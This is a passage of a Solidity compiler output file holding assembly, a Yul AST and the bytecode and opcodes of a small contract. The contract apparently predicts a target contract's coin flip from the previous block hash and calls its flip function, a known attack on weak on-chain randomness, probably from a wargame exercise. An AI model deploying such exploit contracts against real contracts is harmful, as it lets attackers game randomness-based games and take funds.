0x43616c6c206661696c6564000000000000000000000000000000000000000000\n /* \"#utility.yul\":3707:3708 */\n 0x00\n /* \"#utility.yul\":3699:3705 */\n dup3\n /* \"#utility.yul\":3695:3709 */\n add\n /* \"#utility.yul\":3688:3725 */\n mstore\n /* \"#utility.yul\":3571:3732 */\n pop\n jump\t// out\n /* \"#utility.yul\":3738:4104 */\n tag_52:\n /* \"#utility.yul\":3880:3883 */\n 0x00\n /* \"#utility.yul\":3901:3968 */\n tag_103\n /* \"#utility.yul\":3965:3967 */\n 0x0b\n /* \"#utility.yul\":3960:3963 */\n dup4\n /* \"#utility.yul\":3901:3968 */\n tag_50\n jump\t// in\n tag_103:\n /* \"#utility.yul\":3894:3968 */\n swap2\n pop\n /* \"#utility.yul\":3977:4070 */\n tag_104\n /* \"#utility.yul\":4066:4069 */\n dup3\n /* \"#utility.yul\":3977:4070 */\n tag_51\n jump\t// in\n tag_104:\n /* \"#utility.yul\":4095:4097 */\n 0x20\n /* \"#utility.yul\":4090:4093 */\n dup3\n /* \"#utility.yul\":4086:4098 */\n add\n /* \"#utility.yul\":4079:4098 */\n swap1\n pop\n /* \"#utility.yul\":3738:4104 */\n swap2\n swap1\n pop\n jump\t// out\n /* \"#utility.yul\":4110:4529 */\n tag_34:\n /* \"#utility.yul\":4276:4280 */\n 0x00\n /* \"#utility.yul\":4314:4316 */\n 0x20\n /* \"#utility.yul\":4303:4312 */\n dup3\n /* \"#utility.yul\":4299:4317 */\n add\n /* \"#utility.yul\":4291:4317 */\n swap1\n pop\n /* \"#utility.yul\":4363:4372 */\n dup2\n /* \"#utility.yul\":4357:4361 */\n dup2\n /* \"#utility.yul\":4353:4373 */\n sub\n /* \"#utility.yul\":4349:4350 */\n 0x00\n /* \"#utility.yul\":4338:4347 */\n dup4\n /* \"#utility.yul\":4334:4351 */\n add\n /* \"#utility.yul\":4327:4374 */\n mstore\n /* \"#utility.yul\":4391:4522 */\n tag_106\n /* \"#utility.yul\":4517:4521 */\n dup2\n /* \"#utility.yul\":4391:4522 */\n tag_52\n jump\t// in\n tag_106:\n /* \"#utility.yul\":4383:4522 */\n swap1\n pop\n /* \"#utility.yul\":4110:4529 */\n swap2\n swap1\n pop\n jump\t// out\n /* \"#utility.yul\":4616:4733 */\n tag_54:\n /* \"#utility.yul\":4725:4726 */\n 0x00\n /* \"#utility.yul\":4722:4723 */\n dup1\n /* \"#utility.yul\":4715:4727 */\n revert\n /* \"#utility.yul\":4862:4978 */\n tag_56:\n /* \"#utility.yul\":4932:4953 */\n tag_111\n /* \"#utility.yul\":4947:4952 */\n dup2\n /* \"#utility.yul\":4932:4953 */\n tag_40\n jump\t// in\n tag_111:\n /* \"#utility.yul\":4925:4930 */\n dup2\n /* \"#utility.yul\":4922:4954 */\n eq\n /* \"#utility.yul\":4912:4972 */\n tag_112\n jumpi\n /* \"#utility.yul\":4968:4969 */\n 0x00\n /* \"#utility.yul\":4965:4966 */\n dup1\n /* \"#utility.yul\":4958:4970 */\n revert\n /* \"#utility.yul\":4912:4972 */\n tag_112:\n /* \"#utility.yul\":4862:4978 */\n pop\n jump\t// out\n /* \"#utility.yul\":4984:5121 */\n tag_57:\n /* \"#utility.yul\":5038:5043 */\n 0x00\n /* \"#utility.yul\":5069:5075 */\n dup2\n /* \"#utility.yul\":5063:5076 */\n mload\n /* \"#utility.yul\":5054:5076 */\n swap1\n pop\n /* \"#utility.yul\":5085:5115 */\n tag_114\n /* \"#utility.yul\":5109:5114 */\n dup2\n /* \"#utility.yul\":5085:5115 */\n tag_56\n jump\t// in\n tag_114:\n /* \"#utility.yul\":4984:5121 */\n swap3\n swap2\n pop\n pop\n jump\t// out\n /* \"#utility.yul\":5127:5472 */\n tag_36:\n /* \"#utility.yul\":5194:5200 */\n 0x00\n /* \"#utility.yul\":5243:5245 */\n 0x20\n /* \"#utility.yul\":5231:5240 */\n dup3\n /* \"#utility.yul\":5222:5229 */\n dup5\n /* \"#utility.yul\":5218:5241 */\n sub\n /* \"#utility.yul\":5214:5246 */\n slt\n /* \"#utility.yul\":5211:5330 */\n iszero\n tag_116\n jumpi\n /* \"#utility.yul\":5249:5328 */\n tag_117\n tag_54\n jump\t// in\n tag_117:\n /* \"#utility.yul\":5211:5330 */\n tag_116:\n /* \"#utility.yul\":5369:5370 */\n 0x00\n /* \"#utility.yul\":5394:5455 */\n tag_118\n /* \"#utility.yul\":5447:5454 */\n dup5\n /* \"#utility.yul\":5438:5444 */\n dup3\n /* \"#utility.yul\":5427:5436 */\n dup6\n /* \"#utility.yul\":5423:5445 */\n add\n /* \"#utility.yul\":5394:5455 */\n tag_57\n jump\t// in\n tag_118:\n /* \"#utility.yul\":5384:5455 */\n swap2\n pop\n /* \"#utility.yul\":5340:5465 */\n pop\n /* \"#utility.yul\":5127:5472 */\n swap3\n swap2\n pop\n pop\n jump\t// out\n\n auxdata: 0xa2646970667358221220333c141a21ba4c3ec28283a7e0ffae1f34084b600c756ca766e357d053d47a1064736f6c63430008120033\n}\n", "bytecode": { "functionDebugData": { "@_24": { "entryPoint": null, "id": 24, "parameterSlots": 1, "returnSlots": 0 }, "abi_decode_t_address_fromMemory": { "entryPoint": 242, "id": null, "parameterSlots": 2, "returnSlots": 1 }, "abi_decode_tuple_t_address_fromMemory": { "entryPoint": 263, "id": null, "parameterSlots": 2, "returnSlots": 1 }, "allocate_unbounded": { "entryPoint": null, "id": null, "parameterSlots": 0, "returnSlots": 1 }, "cleanup_t_address": { "entryPoint": 201, "id": null, "parameterSlots": 1, "returnSlots": 1 }, "cleanup_t_uint160": { "entryPoint": 169, "id": null, "parameterSlots": 1, "returnSlots": 1 }, "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db": { "entryPoint": null, "id": null, "parameterSlots": 0, "returnSlots": 0 }, "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b": { "entryPoint": 164, "id": null, "parameterSlots": 0, "returnSlots": 0 }, "validator_revert_t_address": { "entryPoint": 219, "id": null, "parameterSlots": 1, "returnSlots": 0 } }, "generatedSources": [ { "ast": { "nodeType": "YulBlock", "src": "0:1199:1", "statements": [ { "body": { "nodeType": "YulBlock", "src": "47:35:1", "statements": [ { "nodeType": "YulAssignment", "src": "57:19:1", "value": { "arguments": [ { "kind": "number", "nodeType": "YulLiteral", "src": "73:2:1", "type": "", "value": "64" } ], "functionName": { "name": "mload", "nodeType": "YulIdentifier", "src": "67:5:1" }, "nodeType": "YulFunctionCall", "src": "67:9:1" }, "variableNames": [ { "name": "memPtr", "nodeType": "YulIdentifier", "src": "57:6:1" } ] } ] }, "name": "allocate_unbounded", "nodeType": "YulFunctionDefinition", "returnVariables": [ { "name": "memPtr", "nodeType": "YulTypedName", "src": "40:6:1", "type": "" } ], "src": "7:75:1" }, { "body": { "nodeType": "YulBlock", "src": "177:28:1", "statements": [ { "expression": { "arguments": [ { "kind": "number", "nodeType": "YulLiteral", "src": "194:1:1", "type": "", "value": "0" }, { "kind": "number", "nodeType": "YulLiteral", "src": "197:1:1", "type": "", "value": "0" } ], "functionName": { "name": "revert", "nodeType": "YulIdentifier", "src": "187:6:1" }, "nodeType": "YulFunctionCall", "src": "187:12:1" }, "nodeType": "YulExpressionStatement", "src": "187:12:1" } ] }, "name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b", "nodeType": "YulFunctionDefinition", "src": "88:117:1" }, { "body": { "nodeType": "YulBlock", "src": "300:28:1", "statements": [ { "expression": { "arguments": [ { "kind": "number", "nodeType": "YulLiteral", "src": "317:1:1", "type": "", "value": "0" }, { "kind": "number", "nodeType": "YulLiteral", "src": "320:1:1", "type": "", "value": "0" } ], "functionName": { "name": "revert", "nodeType": "YulIdentifier", "src": "310:6:1" }, "nodeType": "YulFunctionCall", "src": "310:12:1" }, "nodeType": "YulExpressionStatement", "src": "310:12:1" } ] }, "name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db", "nodeType": "YulFunctionDefinition", "src": "211:117:1" }, { "body": { "nodeType": "YulBlock", "src": "379:81:1", "statements": [ { "nodeType": "YulAssignment", "src": "389:65:1", "value": { "arguments": [ { "name": "value", "nodeType": "YulIdentifier", "src": "404:5:1" }, { "kind": "number", "nodeType": "YulLiteral", "src": "411:42:1", "type": "", "value": "0xffffffffffffffffffffffffffffffffffffffff" } ], "functionName": { "name": "and", "nodeType": "YulIdentifier", "src": "400:3:1" }, "nodeType": "YulFunctionCall", "src": "400:54:1" }, "variableNames": [ { "name": "cleaned", "nodeType": "YulIdentifier", "src": "389:7:1" } ] } ] }, "name": "cleanup_t_uint160", "nodeType": "YulFunctionDefinition", "parameters": [ { "name": "value", "nodeType": "YulTypedName", "src": "361:5:1", "type": "" } ], "returnVariables": [ { "name": "cleaned", "nodeType": "YulTypedName", "src": "371:7:1", "type": "" } ], "src": "334:126:1" }, { "body": { "nodeType": "YulBlock", "src": "511:51:1", "statements": [ { "nodeType": "YulAssignment", "src": "521:35:1", "value": { "arguments": [ { "name": "value", "nodeType": "YulIdentifier", "src": "550:5:1" } ], "functionName": { "name": "cleanup_t_uint160", "nodeType": "YulIdentifier", "src": "532:17:1" }, "nodeType": "YulFunctionCall", "src": "532:24:1" }, "variableNames": [ { "name": "cleaned", "nodeType": "YulIdentifier", "src": "521:7:1" } ] } ] }, "name": "cleanup_t_address", "nodeType": "YulFunctionDefinition", "parameters": [ { "name": "value", "nodeType": "YulTypedName", "src": "493:5:1", "type": "" } ], "returnVariables": [ { "name": "cleaned", "nodeType": "YulTypedName", "src": "503:7:1", "type": "" } ], "src": "466:96:1" }, { "body": { "nodeType": "YulBlock", "src": "611:79:1", "statements": [ { "body": { "nodeType": "YulBlock", "src": "668:16:1", "statements": [ { "expression": { "arguments": [ { "kind": "number", "nodeType": "YulLiteral", "src": "677:1:1", "type": "", "value": "0" }, { "kind": "number", "nodeType": "YulLiteral", "src": "680:1:1", "type": "", "value": "0" } ], "functionName": { "name": "revert", "nodeType": "YulIdentifier", "src": "670:6:1" }, "nodeType": "YulFunctionCall", "src": "670:12:1" }, "nodeType": "YulExpressionStatement", "src": "670:12:1" } ] }, "condition": { "arguments": [ { "arguments": [ { "name": "value", "nodeType": "YulIdentifier", "src": "634:5:1" }, { "arguments": [ { "name": "value", "nodeType": "YulIdentifier", "src": "659:5:1" } ], "functionName": { "name": "cleanup_t_address", "nodeType": "YulIdentifier", "src": "641:17:1" }, "nodeType": "YulFunctionCall", "src": "641:24:1" } ], "functionName": { "name": "eq", "nodeType": "YulIdentifier", "src": "631:2:1" }, "nodeType": "YulFunctionCall", "src": "631:35:1" } ], "functionName": { "name": "iszero", "nodeType": "YulIdentifier", "src": "624:6:1" }, "nodeType": "YulFunctionCall", "src": "624:43:1" }, "nodeType": "YulIf", "src": "621:63:1" } ] }, "name": "validator_revert_t_address", "nodeType": "YulFunctionDefinition", "parameters": [ { "name": "value", "nodeType": "YulTypedName", "src": "604:5:1", "type": "" } ], "src": "568:122:1" }, { "body": { "nodeType": "YulBlock", "src": "759:80:1", "statements": [ { "nodeType": "YulAssignment", "src": "769:22:1", "value": { "arguments": [ { "name": "offset", "nodeType": "YulIdentifier", "src": "784:6:1" } ], "functionName": { "name": "mload", "nodeType": "YulIdentifier", "src": "778:5:1" }, "nodeType": "YulFunctionCall", "src": "778:13:1" }, "variableNames": [ { "name": "value", "nodeType": "YulIdentifier", "src": "769:5:1" } ] }, { "expression": { "arguments": [ { "name": "value", "nodeType": "YulIdentifier", "src": "827:5:1" } ], "functionName": { "name": "validator_revert_t_address", "nodeType": "YulIdentifier", "src": "800:26:1" }, "nodeType": "YulFunctionCall", "src": "800:33:1" }, "nodeType": "YulExpressionStatement", "src": "800:33:1" } ] }, "name": "abi_decode_t_address_fromMemory", "nodeType": "YulFunctionDefinition", "parameters": [ { "name": "offset", "nodeType": "YulTypedName", "src": "737:6:1", "type": "" }, { "name": "end", "nodeType": "YulTypedName", "src": "745:3:1", "type": "" } ], "returnVariables": [ { "name": "value", "nodeType": "YulTypedName", "src": "753:5:1", "type": "" } ], "src": "696:143:1" }, { "body": { "nodeType": "YulBlock", "src": "922:274:1", "statements": [ { "body": { "nodeType": "YulBlock", "src": "968:83:1", "statements": [ { "expression": { "arguments": [], "functionName": { "name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b", "nodeType": "YulIdentifier", "src": "970:77:1" }, "nodeType": "YulFunctionCall", "src": "970:79:1" }, "nodeType": "YulExpressionStatement", "src": "970:79:1" } ] }, "condition": { "arguments": [ { "arguments": [ { "name": "dataEnd", "nodeType": "YulIdentifier", "src": "943:7:1" }, { "name": "headStart", "nodeType": "YulIdentifier", "src": "952:9:1" } ], "functionName": { "name": "sub", "nodeType": "YulIdentifier", "src": "939:3:1" }, "nodeType": "YulFunctionCall", "src": "939:23:1" }, { "kind": "number", "nodeType": "YulLiteral", "src": "964:2:1", "type": "", "value": "32" } ], "functionName": { "name": "slt", "nodeType": "YulIdentifier", "src": "935:3:1" }, "nodeType": "YulFunctionCall", "src": "935:32:1" }, "nodeType": "YulIf", "src": "932:119:1" }, { "nodeType": "YulBlock", "src": "1061:128:1", "statements": [ { "nodeType": "YulVariableDeclaration", "src": "1076:15:1", "value": { "kind": "number", "nodeType": "YulLiteral", "src": "1090:1:1", "type": "", "value": "0" }, "variables": [ { "name": "offset", "nodeType": "YulTypedName", "src": "1080:6:1", "type": "" } ] }, { "nodeType": "YulAssignment", "src": "1105:74:1", "value": { "arguments": [ { "arguments": [ { "name": "headStart", "nodeType": "YulIdentifier", "src": "1151:9:1" }, { "name": "offset", "nodeType": "YulIdentifier", "src": "1162:6:1" } ], "functionName": { "name": "add", "nodeType": "YulIdentifier", "src": "1147:3:1" }, "nodeType": "YulFunctionCall", "src": "1147:22:1" }, { "name": "dataEnd", "nodeType": "YulIdentifier", "src": "1171:7:1" } ], "functionName": { "name": "abi_decode_t_address_fromMemory", "nodeType": "YulIdentifier", "src": "1115:31:1" }, "nodeType": "YulFunctionCall", "src": "1115:64:1" }, "variableNames": [ { "name": "value0", "nodeType": "YulIdentifier", "src": "1105:6:1" } ] } ] } ] }, "name": "abi_decode_tuple_t_address_fromMemory", "nodeType": "YulFunctionDefinition", "parameters": [ { "name": "headStart", "nodeType": "YulTypedName", "src": "892:9:1", "type": "" }, { "name": "dataEnd", "nodeType": "YulTypedName", "src": "903:7:1", "type": "" } ], "returnVariables": [ { "name": "value0", "nodeType": "YulTypedName", "src": "915:6:1", "type": "" } ], "src": "845:351:1" } ] }, "contents": "{\n\n function allocate_unbounded() -> memPtr {\n memPtr := mload(64)\n }\n\n function revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() {\n revert(0, 0)\n }\n\n function revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() {\n revert(0, 0)\n }\n\n function cleanup_t_uint160(value) -> cleaned {\n cleaned := and(value, 0xffffffffffffffffffffffffffffffffffffffff)\n }\n\n function cleanup_t_address(value) -> cleaned {\n cleaned := cleanup_t_uint160(value)\n }\n\n function validator_revert_t_address(value) {\n if iszero(eq(value, cleanup_t_address(value))) { revert(0, 0) }\n }\n\n function abi_decode_t_address_fromMemory(offset, end) -> value {\n value := mload(offset)\n validator_revert_t_address(value)\n }\n\n function abi_decode_tuple_t_address_fromMemory(headStart, dataEnd) -> value0 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_address_fromMemory(add(headStart, offset), dataEnd)\n }\n\n }\n\n}\n", "id": 1, "language": "Yul", "name": "#utility.yul" } ], "linkReferences": {}, "object": "60806040527f800000000000000000000000000000000000000000000000000000000000000060035534801561003457600080fd5b5060405161070838038061070883398181016040528101906100569190610107565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060018190555050610134565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006100d4826100a9565b9050919050565b6100e4816100c9565b81146100ef57600080fd5b50565b600081519050610101816100db565b92915050565b60006020828403121561011d5761011c6100a4565b5b600061012b848285016100f2565b91505092915050565b6105c5806101436000396000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c8063278de414146100465780639e5faafc14610064578063e6f334d714610082575b600080fd5b61004e6100a0565b60405161005b91906102e4565b60405180910390f35b61006c6100c4565b604051610079919061031a565b60405180910390f35b61008a61029d565b604051610097919061034e565b60405180910390f35b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806001436100d49190610398565b4060001c905080600254036100e857600080fd5b806002819055506000600354826100ff91906103fb565b9050600060018214610112576000610115565b60015b905060008160405160240161012a919061031a565b6040516020818303038152906040527f1d263f67000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050905060008060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16836040516101f1919061049d565b6000604051808303816000865af19150503d806000811461022e576040519150601f19603f3d011682016040523d82523d6000602084013e610233565b606091505b509150915081610278576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161026f90610511565b60405180910390fd5b60008180602001905181019061028e9190610562565b90508097505050505050505090565b60015481565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006102ce826102a3565b9050919050565b6102de816102c3565b82525050565b60006020820190506102f960008301846102d5565b92915050565b60008115159050919050565b610314816102ff565b82525050565b600060208201905061032f600083018461030b565b92915050565b6000819050919050565b61034881610335565b82525050565b6000602082019050610363600083018461033f565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006103a382610335565b91506103ae83610335565b92508282039050818111156103c6576103c5610369565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061040682610335565b915061041183610335565b925082610421576104206103cc565b5b828204905092915050565b600081519050919050565b600081905092915050565b60005b83811015610460578082015181840152602081019050610445565b60008484015250505050565b60006104778261042c565b6104818185610437565b9350610491818560208601610442565b80840191505092915050565b60006104a9828461046c565b915081905092915050565b600082825260208201905092915050565b7f43616c6c206661696c6564000000000000000000000000000000000000000000600082015250565b60006104fb600b836104b4565b9150610506826104c5565b602082019050919050565b6000602082019050818103600083015261052a816104ee565b9050919050565b600080fd5b61053f816102ff565b811461054a57600080fd5b50565b60008151905061055c81610536565b92915050565b60006020828403121561057857610577610531565b5b60006105868482850161054d565b9150509291505056fea2646970667358221220333c141a21ba4c3ec28283a7e0ffae1f34084b600c756ca766e357d053d47a1064736f6c63430008120033", "opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH32 0x8000000000000000000000000000000000000000000000000000000000000000 PUSH1 0x3 SSTORE CALLVALUE DUP1 ISZERO PUSH2 0x34 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x40 MLOAD PUSH2 0x708 CODESIZE SUB DUP1 PUSH2 0x708 DUP4 CODECOPY DUP2 DUP2 ADD PUSH1 0x40 MSTORE DUP2 ADD SWAP1 PUSH2 0x56 SWAP2 SWAP1 PUSH2 0x107 JUMP JUMPDEST DUP1 PUSH1 0x0 DUP1 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF MUL NOT AND SWAP1 DUP4 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND MUL OR SWAP1 SSTORE POP PUSH1 0x0 PUSH1 0x1 DUP2 SWAP1 SSTORE POP POP PUSH2 0x134 JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0xD4 DUP3 PUSH2 0xA9 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0xE4 DUP2 PUSH2 0xC9 JUMP JUMPDEST DUP2 EQ PUSH2 0xEF JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 MLOAD SWAP1 POP PUSH2 0x101 DUP2 PUSH2 0xDB JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x11D JUMPI PUSH2 0x11C PUSH2 0xA4 JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x12B DUP5 DUP3 DUP6 ADD PUSH2 0xF2 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH2 0x5C5 DUP1 PUSH2 0x143 PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x41 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x278DE414 EQ PUSH2 0x46 JUMPI DUP1 PUSH4 0x9E5FAAFC EQ PUSH2 0x64 JUMPI DUP1 PUSH4 0xE6F334D7 EQ PUSH2 0x82 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x4E PUSH2 0xA0 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x5B SWAP2 SWAP1 PUSH2 0x2E4 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x6C PUSH2 0xC4 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x79 SWAP2 SWAP1 PUSH2 0x31A JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x8A PUSH2 0x29D JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x97 SWAP2 SWAP1 PUSH2 0x34E JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 JUMP JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x1 NUMBER PUSH2 0xD4 SWAP2 SWAP1 PUSH2 0x398 JUMP JUMPDEST BLOCKHASH PUSH1 0x0 SHR SWAP1 POP DUP1 PUSH1 0x2 SLOAD SUB PUSH2 0xE8 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST DUP1 PUSH1 0x2 DUP2 SWAP1 SSTORE POP PUSH1 0x0 PUSH1 0x3 SLOAD DUP3 PUSH2 0xFF SWAP2 SWAP1 PUSH2 0x3FB JUMP JUMPDEST SWAP1 POP PUSH1 0x0 PUSH1 0x1 DUP3 EQ PUSH2 0x112 JUMPI PUSH1 0x0 PUSH2 0x115 JUMP JUMPDEST PUSH1 0x1 JUMPDEST SWAP1 POP PUSH1 0x0 DUP2 PUSH1 0x40 MLOAD PUSH1 0x24 ADD PUSH2 0x12A SWAP2 SWAP1 PUSH2 0x31A JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH1 0x20 DUP2 DUP4 SUB SUB DUP2 MSTORE SWAP1 PUSH1 0x40 MSTORE PUSH32 0x1D263F6700000000000000000000000000000000000000000000000000000000 PUSH28 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF NOT AND PUSH1 0x20 DUP3 ADD DUP1 MLOAD PUSH28 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP4 DUP2 DUP4 AND OR DUP4 MSTORE POP POP POP POP SWAP1 POP PUSH1 0x0 DUP1 PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP4 PUSH1 0x40 MLOAD PUSH2 0x1F1 SWAP2 SWAP1 PUSH2 0x49D JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP7 GAS CALL SWAP2 POP POP RETURNDATASIZE DUP1 PUSH1 0x0 DUP2 EQ PUSH2 0x22E JUMPI PUSH1 0x40 MLOAD SWAP2 POP PUSH1 0x1F NOT PUSH1 0x3F RETURNDATASIZE ADD AND DUP3 ADD PUSH1 0x40 MSTORE RETURNDATASIZE DUP3 MSTORE RETURNDATASIZE PUSH1 0x0 PUSH1 0x20 DUP5 ADD RETURNDATACOPY PUSH2 0x233 JUMP JUMPDEST PUSH1 0x60 SWAP2 POP JUMPDEST POP SWAP2 POP SWAP2 POP DUP2 PUSH2 0x278 JUMPI PUSH1 0x40 MLOAD PUSH32 0x8C379A000000000000000000000000000000000000000000000000000000000 DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x26F SWAP1 PUSH2 0x511 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 REVERT JUMPDEST PUSH1 0x0 DUP2 DUP1 PUSH1 0x20 ADD SWAP1 MLOAD DUP2 ADD SWAP1 PUSH2 0x28E SWAP2 SWAP1 PUSH2 0x562 JUMP JUMPDEST SWAP1 POP DUP1 SWAP8 POP POP POP POP POP POP POP POP SWAP1 JUMP JUMPDEST PUSH1 0x1 SLOAD DUP2 JUMP JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x2CE DUP3 PUSH2 0x2A3 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x2DE DUP2 PUSH2 0x2C3 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x2F9 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x2D5 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 ISZERO ISZERO SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x314 DUP2 PUSH2 0x2FF JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x32F PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x30B JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x348 DUP2 PUSH2 0x335 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x363 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x33F JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH32 0x4E487B7100000000000000000000000000000000000000000000000000000000 PUSH1 0x0 MSTORE PUSH1 0x11 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH1 0x0 REVERT JUMPDEST PUSH1 0x0 PUSH2 0x3A3 DUP3 PUSH2 0x335 JUMP JUMPDEST SWAP2 POP PUSH2 0x3AE DUP4 PUSH2 0x335 JUMP JUMPDEST SWAP3 POP DUP3 DUP3 SUB SWAP1 POP DUP2 DUP2 GT ISZERO PUSH2 0x3C6 JUMPI PUSH2 0x3C5 PUSH2 0x369 JUMP JUMPDEST JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH32 0x4E487B7100000000000000000000000000000000000000000000000000000000 PUSH1 0x0 MSTORE PUSH1 0x12 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH1 0x0 REVERT JUMPDEST PUSH1 0x0 PUSH2 0x406 DUP3 PUSH2 0x335 JUMP JUMPDEST SWAP2 POP PUSH2 0x411 DUP4 PUSH2 0x335 JUMP JUMPDEST SWAP3 POP DUP3 PUSH2 0x421 JUMPI PUSH2 0x420 PUSH2 0x3CC JUMP JUMPDEST JUMPDEST DUP3 DUP3 DIV SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 MLOAD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 JUMPDEST DUP4 DUP2 LT ISZERO PUSH2 0x460 JUMPI DUP1 DUP3 ADD MLOAD DUP2 DUP5 ADD MSTORE PUSH1 0x20 DUP2 ADD SWAP1 POP PUSH2 0x445 JUMP JUMPDEST PUSH1 0x0 DUP5 DUP5 ADD MSTORE POP POP POP POP JUMP 